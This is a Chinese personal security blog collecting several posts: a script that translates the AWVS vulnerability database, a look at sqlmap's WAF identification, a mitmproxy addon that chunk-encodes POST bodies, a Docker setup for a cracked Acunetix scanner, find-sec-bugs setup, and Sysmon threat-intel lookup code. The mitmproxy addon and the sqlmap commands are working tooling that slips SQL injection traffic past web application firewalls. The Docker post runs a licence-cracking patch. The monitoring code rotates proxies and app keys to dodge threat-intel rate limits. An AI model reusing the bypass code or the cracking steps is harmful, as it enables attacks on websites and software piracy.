快速翻译awvs的漏洞库内容

发布时间:August 12, 2019 // 分类:开发笔记,linux,python,windows // No Comments

原本是想在某scan里面调用扫描器然后对这个进行漏洞内容翻译。查了一下说wdscanner里面有这个东西.可是本地倒入查看了一下发现真的很垃圾。

什么玩意,怎么跟wordpress对应上了。开始嗨以为看错, 仔细在数据裤里面翻了一下。还真是

我去。真的不太想说这个准确率,简直是查到了极点。想着反正本地安装awvs的时候都有带数据库。直接连接上去导出来自己翻译不就好了。有想法了就干,最近一直很懒哟,都没啥干头。本地虚拟机安装windows版本的,毕竟方便弄一些。
在C:\ProgramData\Acunetix Trial\settings.ini里面直接找到了连接的账户和密码。端口改成了45432,我记得11版本的是35432来着

把表导出来,然后想法是逐行去读取。把内容翻译了重新写入到另外一个表。最后再导回自己的数据库。翻译对比了下翻译的效率和方便,最后选择了百度的api。但是这个需要注意,咱们翻译的内容字数肯定超过200W.所以最好的是在一天内翻译完,不然就会提示被限制,也可以多准备几组api来避免这个尴尬的问题。

首先解决翻译的问题

def trans_baidu(q):
    """
    :param q:
    :param fromLang:
    :param toLang: zh简体 en英文
    :return:
    """
    url = "http://api.fanyi.baidu.com/api/trans/vip/translate"
    appid = '2019081xxxxxxxxxxx'  # 你的appid
    secretKey = 'w16M0ZXhHxxxxxxxxxxx'  # 你的密钥
    salt = str(random.randint(32768, 65536))
    # 生成签名
    # 部分内容是空的,直接返回出去
    if not q:
        return ""
    sign = appid + q + salt + secretKey
    sign = hashlib.md5(sign.encode()).hexdigest()
    data = {
        "appid": appid,
        "q": q,
        "from": 'en',
        "to": 'zh',
        "salt": salt,
        "sign": sign,
    }
    i = 0
    while i < 3:
        try:
            r = requests.post(url, data=data, timeout=120)
            return r.json().get('trans_result')[0].get("dst")
        except requests.exceptions.RequestException:
            i += 1

再就读取xlsx表格读内容,这里使用的是openpyxl。去处理的是话考虑都网速的稳定性因素,延迟了3秒。

def readExcel(ExcelFullName):
    """
    : 读取表
    : 循环去翻译
    """
    wb = load_workbook(ExcelFullName)
    sheets = wb.get_sheet_names()
    # # 第一个表格的名称
    sheet_first = sheets[0]
    # # 获取特定的worksheet
    #
    ws = wb.get_sheet_by_name(sheet_first)
    rows = ws.rows
    columns = ws.columns
    # 迭代所有的行
    for row in rows:
        item = {}
        line = [col.value for col in row]
        if str(line[0])!='id' and int(line[0]) >= 1:
            print line[0]
            write_xlsx(line)
            time.sleep(3)
        #print 'name_en',line[1],'impact',line[3],'description',line[4],'recommendation',line[5]

然后就创建另外一个表格来存这些翻译后的内容。这些字段直接引用来wdscanner的字段

def creat_xlsx():
    """
    : 创建表
    : 预先设定好
    """
    ExcelFullName= './vuln_xx.xlsx'
    if ExcelFullName:
        s = 0
        wb = Workbook()
        ws1 = wb.active
        word=['name_en','name_zh','level','miaoshu_en','miaoshu_zh','harm_en','harm_zh','repaire_en','repaire_zh']
        for i in word:
            s = s + 1
            ws1.cell(row =1,column = s,value = i)
        wb.save(filename=ExcelFullName)

最后就是写入了。

def write_xlsx(line):
    """
    : 对结果进行处理
    : 写进翻译后的内容
    """
    vulnfile = './vuln_xx.xlsx'
    wb = load_workbook(vulnfile)
    sheet1 = wb['Sheet']
    num = sheet1.max_row
    sheet1.cell(row = num+1,column = 1,value = line[1])
    sheet1.cell(row = num+1,column = 2,value = trans_baidu(line[1]))
    sheet1.cell(row = num+1,column = 3,value = match(line[2]))
    sheet1.cell(row = num+1,column = 4,value = line[3])
    sheet1.cell(row = num+1,column = 5,value = trans_baidu(line[3]))
    sheet1.cell(row = num+1,column = 6,value = line[4])
    sheet1.cell(row = num+1,column = 7,value = trans_baidu(line[4]))
    sheet1.cell(row = num+1,column = 8,value = line[5])
    sheet1.cell(row = num+1,column = 9,value = trans_baidu(line[5]))
    wb.save(vulnfile)

整个流程就结束了。最后展示下

提供一份翻译结束后的。因为是机器翻译的,所以好多东西看起来有点惨不忍睹。
vuln_xx.xlsx

sqlmap自带的waf识别体验

发布时间:July 16, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

今天晚上更新sqlmap的时候意外的发现多了一些内容

 create mode 100644 thirdparty/identywaf/LICENSE
 create mode 100644 thirdparty/identywaf/__init__.py
 create mode 100644 thirdparty/identywaf/data.json
 create mode 100755 thirdparty/identywaf/identYwaf.py
 delete mode 100644 waf/360.py
 delete mode 100644 waf/__init__.py
 delete mode 100644 waf/aesecure.py
 delete mode 100644 waf/airlock.py
 delete mode 100644 waf/anquanbao.py
 delete mode 100644 waf/approach.py
 delete mode 100644 waf/armor.py
 delete mode 100644 waf/asm.py

删除了以前的waf/xxxx.py的内容,多了一个identywaf/identYwaf.py和identywaf/data.json

可以看到一堆参数

Usage: python identYwaf.py [options] <host|url>

Options:
  --version           Show program's version number and exit
  -h, --help          Show this help message and exit
  --delay=DELAY       Delay (sec) between tests (default: 0)
  --timeout=TIMEOUT   Response timeout (sec) (default: 10)
  --proxy=PROXY       HTTP proxy address (e.g. "http://127.0.0.1:8080")
  --proxy-file=PRO..  Load (rotating) HTTP(s) proxy list from a file
  --random-agent      Use random HTTP User-Agent header value
  --code=CODE         Expected HTTP code in rejected responses
  --string=STRING     Expected string in rejected responses
  --post              Use POST body for sending payloads

利用MitmProxy实现http协议分块传输绕过自动脚本

发布时间:July 7, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

主要是在某xxx里面遇到了.直接测试发现被拦截,碰巧搜到了http协议分块传输绕过waf。还给出了yi g一个burp的插件地址chunked-coding-converter.但是我要是sqlmap跑的话,好像不是很方便!(其实这错了。好像可以全局给设置的.这个是后话)

想到了使用代理把数据给改变一下。还真让我搜到了有人做过类似的东西了sqlmap_chunked_proxy.只是我实际测试的适合好像发现一直报错

[+] chunked Succeeded
Traceback (most recent call last):
  File "sqlmap_chunked_proxy.py", line 121, in <module>
    aa = hack.httpraw(raw)
  File "/usr/local/lib/python3.7/site-packages/HackRequests/HackRequests.py", line 220, in httpraw
    conn.putheader(k, v)
  File "/usr/local/Cellar/python/3.7.3/Frameworks/Python.framework/Versions/3.7/lib/python3.7/http/client.py", line 1197, in putheader
    raise ValueError('Invalid header name %r' % (header,))
ValueError: Invalid header name b''

改了半天也不知道啥问题,还发现实际测试的时候发现cookie丢失了,好多问题索性修改一个吧。

修改抓包截包改报还得首推mitmproxy.直接写一个插件就可以修改了,这类借鉴了sqlmap_chunked_proxy的编码方式。很容易就实现了一个

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
mitmdump -k -s chunked_proxy.py -p 9999
'''

import mitmproxy.http
from mitmproxy import ctx
import random,string


def Confuse():
    Confuse = ''.join(random.sample(string.ascii_letters + string.digits,random.randint(1,9)))
    return Confuse

def payloadlistnum(s):
    while True:
        n = random.randint(1, len(s))
        num = len(s) / n
        if num < 9:
            return n

def payloadlist(s, n):
    fn = len(s) // n
    rn = len(s) % n
    sr = []
    ix = 0
    for i in range(n):
        if i < rn:
            sr.append(s[ix:ix + fn + 1])
            ix += fn + 1
        else:
            sr.append(s[ix:ix + fn])
            ix += fn
    return (sr)

def payload2(s,n):
    payload2 =''
    for i in payloadlist(s, n):
        if len(i) == 0:
            pass
        else:
            payload2 = payload2 + str(len(i))+';'+Confuse()+'\n'+str(i)+'\n'
    payload2 = payload2 + '0' + '\n' + '\n'
    return (payload2)

def tamper(s):
    n = payloadlistnum(s)
    return (payload2(s,n))

class Counter:

    def __init__(self):
        pass

    def request(self, flow: mitmproxy.http.HTTPFlow):
        #add Transfer-Encoding: chunked
        if flow.request.method == "POST":
            try:
                if flow.request.headers['Content-Length']:
                    flow.request.headers["Transfer-Encoding"] = "chunked"
                content = tamper(flow.request.text)
            except:
                content = flow.request.text
            # get request body
            flow.request.text =  content
            ctx.log.info("Request Data: %s" % str(flow.request.text))
        else:
            flow.request.text = flow.request.text

    def response(self,flow: mitmproxy.http.HTTPFlow):
        flow.response.content = flow.response.content
        ctx.log.info("Response Data: %s" % str(flow.response.text))

addons = [
    Counter()
]

使用方法也是很简单的.首先启一个代理

mitmdump -k -s chunked_proxy.py -p 9999

然后调用sqlmap来跑,需要把流量过代理

python sqlmap.py -r ~/Downloads/123 --level 3 --risk 1 --random-agent --proxy=http://127.0.0.1:9999 -p UseerName --tech E -p UserName --dbms 'Microsoft SQL Server'

其实也可以利用burp开启全局chunked以后走burp的代理

python sqlmap.py -r ~/Downloads/123 --level 3 --risk 1 --random-agent --proxy=http://127.0.0.1:8080 -p UseerName --tech E -p UserName --dbms 'Microsoft SQL Server'

docker下运行Awvs的方式

发布时间:May 12, 2019 // 分类:工作日志,开发笔记,运维工作,linux,生活琐事 // No Comments

构造docker版本是因为docker的便携性,还有就是acunetix在centos下安装会出问题

提示需要激活,不能试用,所以弄了个docker破解版本

docker很便携,可以在mac上搞一下试试,这样就不用在pd安装ubuntu来安装linux版本的了。

docker的优点这里就不说了,如何安装docker

首先我们需要在ubuntu下来跑这个脚本,所以ubuntu肯定是需要的。还需要用到acunetix_trial.sh和patch_awvs

acunetix_trial.sh是安装程序
patch_awvs 是破解补丁

由于执行acunetix_trial.sh的时候需要各种回车,这里给一个自动安装的脚本,需要依赖于expect

#!/usr/bin/expect -f
# install.expect 
# auto install acunetix_trial

set timeout -1
set send_human {.1 .3 1 .05 2}

spawn bash /tmp/acunetix_trial.sh

# expect "press ENTER to continue\r"
expect ">>>"

send -h "\r\n"
send -h "\x03"

expect "Accept the license terms?"
send -h "yes\r"

expect "Insert new hostname, or leave blank to use"
send -h "\r"

expect "Email:"
send -h "awvs@gmail.com\r"
expect "Password:"
send -h "awvs@0day5.com\r"
expect "Password again:"
send -h "awvs@0day5.com\r"
expect eof

执行后会自动安装,并且配置账户为awvs@gmail.com,密码是awvs@0day5.com

这里咱们使用两个方式来构建docker运行的方式。一个是直接写进docker里面,等到运行后再调用。一个是直接封装到docker,然后在使用from awvs来获取封装后的镜像

编写的Dockerfile内容如下

FROM ubuntu:16.04

RUN apt-get update && \
    apt-get -y install apt-utils libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 bzip2 wget net-tools expect libx11-xcb-dev dbus curl sudo
    ADD patch_awvs /tmp/patch_awvs
    ADD install.expect /tmp/install.expect
    ADD acunetix_trial.sh /tmp/acunetix_trial.sh
    RUN cd /tmp && chmod +x /tmp/acunetix_trial.sh
    RUN cd /tmp && chmod +x /tmp/install.expect && /tmp/install.expect
    RUN cp /tmp/patch_awvs /home/acunetix/.acunetix_trial/v_190515149/scanner/patch_awvs
    CMD su -l acunetix -c /home/acunetix/.acunetix_trial/start.sh

构造镜像

docker build -t awvs .

跑起来

docker run -ti -p 8881:13443 awvs

然后执行

su -l acunetix
bash
cd /home/acunetix/.acunetix_trial
sh start.sh
exit
exit
# 必须先运行acunetix,才能找到sign
cd /home/acunetix/.acunetix_trial/v_190515149/scanner/ && chmod +x patch_awvs && ./patch_awvs
chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.json

访问https://127.0.0.1:8881 登录
账号是:awvs@gmail.com
密码是:awvs@0day5.com
当然账户和密码都可以在install.expect里面修改

还有一种比较稳,就是先一步一步来构建好awvs镜像后,直接用docker启动

宿主机

docker run -ti --name=awvs -v $(pwd):/tmp/awvs ubuntu:16.04

acunetix_trial.shpatch_awvs 放到宿主机 /tmp/awvs 目录下

进入容器内

apt-get update && apt-get install sudo libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 libx11-xcb-dev -y
chmod +x /tmp/awvs/install.expect
chmod +x /tmp/awvs/acunetix_trial.sh
bash  /tmp/awvs/install.expect
cp /tmp/awvs/patch_awvs /home/acunetix/.acunetix_trial/v_190515149/scanner/
su -l acunetix
bash
cd /home/acunetix/.acunetix_trial
sh start.sh
exit
exit
cd /home/acunetix/.acunetix_trial/v_190515149/scanner/
chmod +x patch_awvs
./patch_awvs
chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.json

回到宿主机

docker commit awvs awvs
touch Dockerfile

Dockerfile 内容

FROM awvs
LABEL MAINTAINER=snaker
ENV TZ=Asia/Shanghai
EXPOSE 13443
WORKDIR /home/acunetix/.acunetix_trial
USER acunetix
CMD ["/bin/bash", "start.sh"]

创建镜像

docker build -t awvs:latest -f Dockerfile .

启动镜像

docker run -ti -p 8881:13443 -d awvs

打开浏览器访问https://127.0.0.1:8881进行登录
账号是:awvs@gmail.com
密码是:awvs@0day5.com

如果要存出镜像到本地文件,可以使用docker save命令。例如,存出本地的awvs:latest镜像为文件awvs.tar:

$ docker save -o ./awvs.tar awvs:latest

导入镜像
可以使用docker load从存出的本地文件中再导入到本地镜像库,例如从文件awvs.tar导入镜像到本地镜像列表,如下所示:

$ docker load --input awvs.tar

在Maven下初识find-sec-bugs

发布时间:April 21, 2019 // 分类:开发笔记,代码学习,windows,代码审计 // No Comments

最近拿到了几个JAVA的程序需要看,无奈不懂得JAVA,在全球最大的同性恋交友网站上看到了一个神奇的工具find-sec-bugs,介绍说Find Security Bugs是SpotBugs插件,用于Java Web应用程序的安全审核。在它的主页上看到了支持N多漏洞和支持好多的框架。还与各种IDE集成插件。


说了这么多,这个其实就是一个类似于支持OWASP TOP10的代码检查的工具,各种IDE上可以集成插件支持。

刚好手里面有一个Eova快速开发框架的源码,同时提到了需要Maven

Maven的安装和必要配置:

#1下载Maven
maven-x.x.x下载: (推荐使最新的版本)
apache-maven-x.x.x-bin.zip
下载其它版本:
http://maven.apache.org/download.cgi

#2 添加Maven环境变量
添加新的系统环境变量MAVEN_HOME, 并设置其值为你安装的目录
MAVEN_HOME=D:\maven\apache-maven-3.5.0
更新系统PATH 变量, 添加;%MAVEN_HOME%\bin;到尾部

#3 测试maven配置是否成功
打开cmd窗口,输入mvn -v,如果有maven 版本信息输出则证明配置成功,否则请查看自己配置路径等是否正确。
C:\Users\Administrator>mvn -v


#4自定义远程仓库地址为国内最快的镜像,否则可能需要翻墙!

好吧,鉴于此。咱们测试一下这个SpotBugs,根据文档使用SpotBugs Maven插件
修改POM.XML,将spotbugs-maven-plugin添加到pom.xml中

<plugin>
  <groupId>com.github.spotbugs</groupId>
  <artifactId>spotbugs-maven-plugin</artifactId>
  <version>3.1.11</version>
  <dependencies>
    <!-- overwrite dependency on spotbugs if you want to specify the version of spotbugs -->
    <dependency>
      <groupId>com.github.spotbugs</groupId>
      <artifactId>spotbugs</artifactId>
      <version>4.0.0-beta1</version>
    </dependency>
  </dependencies>
</plugin>

实际上是在plugins里面找到一处来添加,根据大佬们的提示

            </plugin>
            <plugin>
              <groupId>com.github.spotbugs</groupId>
              <artifactId>spotbugs-maven-plugin</artifactId>
              <version>3.1.11</version>
                <dependencies>
                <!-- overwrite dependency on spotbugs if you want to specify the version of spotbugs -->
                <dependency>
                  <groupId>com.github.spotbugs</groupId>
                  <artifactId>spotbugs</artifactId>
                  <version>4.0.0-beta1</version>
                </dependency>
              </dependencies>
            </plugin>
        </plugins>

然后我本地用的时候还发现一个地方需要修改,就是提示JDK和JAR的问题冲突

<plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.0</version>
                <configuration>
                    <fork>true</fork>
                    <executable>
                            C:\Program Files\Java\jdk1.8.0_201\bin\javac.exe
                    </executable>
                    <source>${jdk.version}</source>
                    <target>${jdk.version}</target>
                    <showWarnings>true</showWarnings>
                    <encoding>${project.build.sourceEncoding}</encoding>
                </configuration>
            </plugin>

然后就是对项目进行编译和扫描

mvn compile -X -e
mvn spotbugs:spotbugs

程序会去拉一大堆的依赖什么的到本地。咱们就等着结束就好了。


扫描的结果一般是放在 target/findbugsXml.xml 这个结果还ky可以用于JENKINS来读取。但是咱们没有那么多的环境,直接上GUI环境看看

mvn spotbugs:gui


还可以具体的看一下是什么问题。

参考

  1. https://github.com/find-sec-bugs/find-sec-bugs/wiki/Maven-configuration
  2. https://spotbugs.readthedocs.io/en/latest/maven.html#add-spotbugs-maven-plugin-to-your-pom-xml
  3. https://www.cnblogs.com/jekaysnow/p/9550094.html

windows进程监控之恶意识别

发布时间:January 11, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

前不久更新了针对windows下命令记录的种种,并利用beat对系统进行监控。达到了利用winlogbeat来发送sysmon记录的日志到logstash.采用elk进行统一展示的过程。这些主要的目的就是收集所有的日志,但是还缺少对日志的进一步分析。因此对这个想法做了一个简单的demo

PS:现场部署以后会发现大量的数据写入es的时候会超时,导致数据写入不完整。想着在中间放一个中间件来缓冲一下写入的频率.这里选择来kafka来实现

简单的数据拉取

import time
from elasticsearch.exceptions import TransportError
from elasticsearch import Elasticsearch
from units import match_rule

es = Elasticsearch()

"""
ssh -CfNg -L 9200:127.0.0.1:9200 root@192.168.0.xxx
ssh -CfNg -L 5601:127.0.0.1:5601 root@192.168.0.xxx
"""
index = 'windowsevt*'

query = '''{
       "query":{
            "bool":{
                "must":[
                    {
                        "match":{
                            "source_name":"Sysmon"
                        }
                    },
                    {
                        "term":{
                            "event_id":1
                        }
                    }
                ]
            }
        },
      "sort":{
            "@timestamp":{ 
                "order":"asc"
            }
        },
    "from": 0,
    "size": 20
}'''
try:
    resp = es.search(index, body=query)
    total = resp['hits']['total']
    print total
    for item in resp['hits']['hits']:
        print match_rule(item['_source']['event_data'])
except TransportError as e:
    print(e.info)

当把数据从es拉出来以后需要从三个维度进行分析(hash,命令和进程产生网络)

利用hash进行匹配,默认记录的是sha1,但是加载了配置文件后改成了md5/sha256.主要依靠的是第三方的一些平台来进行匹配。分别采了ti.360.net和s.threatbook.cn两个。但是发现360对相关的搜索有限制(但是提供了api搜索,不过没有找到),微步还好一些(提供api搜索和爬虫两种)。最后采用了微步的搜索结果。

class Threatbook(object):

    def __init__(self,hashes,method):
        self._hash = hashes
        self._method = method
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'application/json, text/javascript, */*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'Cookie': 'session=cookies',
            'Origin': 'https://s.threatbook.cn',
            'Content-Type': 'application/json',
            'Cookie': 'cookies'
        }
        self.webu = {
            'malicious':'检测为恶意文件', 
            'suspicious':'提示为可疑文件', 
            'clean':'文件暂未发现可疑'
        }


    def get_result_api(self,sandbox_type,sha256):
        url = 'https://s.threatbook.cn/api/v2/file/report'
        data = ("apikey=apikey&sandbox_type={sandbox_type}&sha256={sha256}").format(sandbox_type=sandbox_type,sha256=sha256)
        #print data
        response = requests.get(url+"?"+data,timeout=30,verify=False)
        content = json.loads(response.content)
        return json.dumps(content['data']['summary'])

    def get_result(self):
        item = {}
        url0 = "https://s.threatbook.cn/api/v3/webpage/search"
        url1 = "https://s.threatbook.cn/api/v3/webpage/summary/{sha256}"
        url2 = "https://s.threatbook.cn/api/v3/webpage/static/{sha256}"
        url3 = "https://s.threatbook.cn/api/v3/webpage/sandbox/{sha256}"
        data = '''{"method":"md5hases"}'''
        try:
            resp0 = self._request.post(url0,data=data.replace('md5hases',self._hash).replace('method',self._method),headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            info = ""
            try:
                if "multi_engines" in str(content0['data']):
                    item["multi_engines"] = content0['data'][0]["multi_engines"]
            except:
                pass
            try:
                if "judgment" in str(content0['data']):
                    item["judgment"] = content0['data'][0]["judgment"]
            except:
                pass

            for xfile in content0['data']:
                info = xfile['sha256'] + "-"+ xfile['sandbox_type']

            if len(info)==0:
                return item

            url1 = url1.format(sha256=info)
            url2 = url2.format(sha256=str(info.split('-')[0]))
            url3 = url3.format(sha256=str(info))

            resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            content1 = json.loads(resp1.content)
            tables = content1['data']
            tagx = []
            for table in tables:
                if table == "threat_level":
                    item[table] = self.webu.get(tables[table])
                elif table == "tag":
                    for name in tables[table]:
                        tagx.extend(tables[table][name])
                    item[table] = list(set(tagx))
                else:
                    item[table] = tables[table]
            resp2 = self._request.get(url2,headers=self._headers,timeout=30,verify=False)
            content2 = json.loads(resp2.content)
            basics = content2['data']['basic']
            for basic in basics:
                item[basic] = basics[basic]

            resp3 = self._request.get(url3,headers=self._headers,timeout=30*2,verify=False)
            content3 = json.loads(resp3.content)
            iocs = content3['data']['ioc']
            if len(iocs)>0:
                item["ioc"] = iocs
            mtasg = []
            for iocx in iocs:
                mtasg.extend(iocx['tag_list'])
            if len(list(set(mtasg)))>0:
                item["ioctag"] = list(set(mtasg))
            return json.dumps(item)

        except Exception as why:
            print "error",why
            traceback.print_exc()

这里还可以对文件hash做一个去重查询的处理,一旦确定某些文件的hash是正常的就没有必要调用查询接口,还可以节省资源。

匹配参数进程信息。主要是针对一些探测类的命令。这种命令不是恶意进程,是系统自带的一些。因此对其增加规则来达到检测恶意命令的匹配。

(这里采取regex和match两种方式,因此在match的时候误报率有点高)一旦匹配上就输出可以信息

def match_rule(event_data):
    hashes = event_data['Hashes']
    if "," in hashes:
        Hashe = hashes.split(',')[0]
    else:
        Hashe = hashes
    method,nhashes = str(Hashe.split('=')[0]).lower(),str(Hashe.split('=')[1]).lower()
    ti = Threatbook(nhashes,method)
    print ti.get_result()
    for name in event_data:
        if name in ["ParentCommandLine","CommandLine","Image","ParentImage"]:
            result = check_rule(event_data[name])
            if len(result)>0:
                print name,event_data[name],json.dumps(result)

网络地址匹配主要是根据event_id为3的网络进程来实现的。这里弄了好久,只能用一个受限制的地址来实现

class Venuseye(object):
    def __init__(self,ip):
        self._ip = ip
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': 'https://www.venuseye.com.cn/ip/',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
        }

    def get_ip_res(self):
        item = {}
        url = "https://www.venuseye.com.cn/ve/ip"
        data = "target="+str(self._ip)
        try:
            resp = requests.post(url,data=data,headers=self._headers,timeout=30,verify=False)
            if resp.status_code !=200:
                return item
            content = json.loads(resp.content)
            print json.dumps(content['data'])
        except Exception as why:
            print "error",why
            traceback.print_exc()

实际测试并发量高了以后,直接就被拦截了。真特么难受,所有还需要一个代理池来维持访问结果。

appKeys = [apikeys
]

def general(appKey):
    flag = False
    ip_port = 'someprooxys'
    proxy = {"http": "http://" + ip_port, "https": "https://" + ip_port}
    headers = {"Authorization": 'Basic '+ appKey}
    try:
        r = requests.get("http://pv.sohu.com/cityjson?ie=utf-8", headers=headers, proxies=proxy,verify=False,allow_redirects=False,timeout=30)
        if r.status_code == 200:
            ip_str = re.findall(r'\{[\s\S]+\}',r.content.decode('utf-8'))
            if len(ip_str)>0:
                flag = appKey
                return flag
    except Exception as e:
        traceback.print_exc()
        print(str(e),appKey)
        return flag

class Ti_360(object):

    def __init__(self,hashes):
        self._hash = hashes
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'X-Requested-With': 'XMLHttpRequest'
        }
        self.proxy = {"http": "http://someprooxys", "https": "https://someprooxys"}


    def get_proxy(self):
        import random
        appkey = False
        appKey = random.choice(appKeys)
        appkey = general(appKey)
        if not appkey:
            appkey = general(appKey)
        return appkey

    def get_filehash(self):
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=file&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=file&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return
            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "table" in str(content1['data'][xfile]):
                    if len(content1['data'][xfile]['table'])>0:
                        tables = content1['data'][xfile]['table'][0]
                        return json.dumps(tables)

        except Exception as why:
            print "error",why
            traceback.print_exc()

    def get_ipioc(self):
        item = {}
        appKey = self.get_proxy()
        if appKey:
            self._headers["Authorization"] = 'Basic '+ appKey
        url = "https://ti.360.net/search?type=ip&value={hash}".format(hash=self._hash)
        if appKey:
            resp = self._request.get(url,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
        else:
            resp = self._request.get(url,headers=self._headers,timeout=30,verify=False)
        try:
            cookies = resp.headers['Set-Cookie']
            cookie = re.findall('session=(.*?);',cookies)
            if len(cookie)==0:
                return
            self._headers['Referer'] = url
            self._headers['Cookie'] = "session="+str(cookie[0])
        except Exception as e:
            pass

        del self._headers['Accept']
        self._headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'

        url0 = "https://ti.360.net/ti/query?limit=100&offset=0&page=1&type=ip&value={hash}".format(hash=self._hash)
        url1 = "https://ti.360.net/ti/task/{tags}"
        try:
            if appKey:
                resp0 = self._request.get(url0,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp0 = self._request.get(url0,headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            if int(content0['status'])!=200:
                print "your IP in black list"
                return
            info = ""
            for name in content0['data']:
                info = info + content0['data'][name]+","

            if len(info)==0:
                return

            url1 = url1.format(tags=str(info))
            if appKey:
                resp1 = self._request.get(url1,headers=self._headers,proxies=self.proxy,timeout=30,verify=False)
            else:
                resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            if resp1.status_code !=200:
                return
            content1 = json.loads(resp1.content)

            for xfile in content1['data']:
                if "ip_attribute" in xfile:
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                item[name] = content1['data'][xfile]['table'][name]
                elif "ip_ioc_detect" in xfile:
                    ioctag = []
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                ioctag.extend(name['tags'])
                    if len(list(set(ioctag)))>0:
                        item['ioctag'] = list(set(ioctag))
                elif "ip_tag" in xfile:
                    iptag = set()
                    if "table" in str(content1['data'][xfile]):
                        if len(content1['data'][xfile]['table'])>0:
                            for name in content1['data'][xfile]['table']:
                                try:
                                    iptag.add(str(name['platform'])+" "+str(name['type'])+" "+ str(name['tag']))
                                except:
                                    try:
                                        iptag.add(str(name['type'])+" "+ str(name['tag']))
                                    except:
                                        iptag.add(str(name['tag']))

                    if len(list(iptag))>0:
                        item['iptag'] = list(iptag)
                elif "ip_try_connect" in xfile:
                    ipconnect = set()
                    if "table" in str(content1['data'][xfile]):
                        for name in content1['data'][xfile]['table']:
                            try:
                                ipconnect.add(str(name['malicious_family']+" " + str(name['malicious_type'])))
                            except:
                                try:
                                    ipconnect.add(str(name['malicious_family']))
                                except Exception as e:
                                    ipconnect.add(str(name['malicious_type']))
                    if len(list(ipconnect))>0:
                        item['iptry'] = list(ipconnect)
            if len(item)>0:
                item['ipaddr'] = self._hash
            return json.dumps(item)
        except Exception as why:
            print "error",why
            traceback.print_exc()

测试效果如下

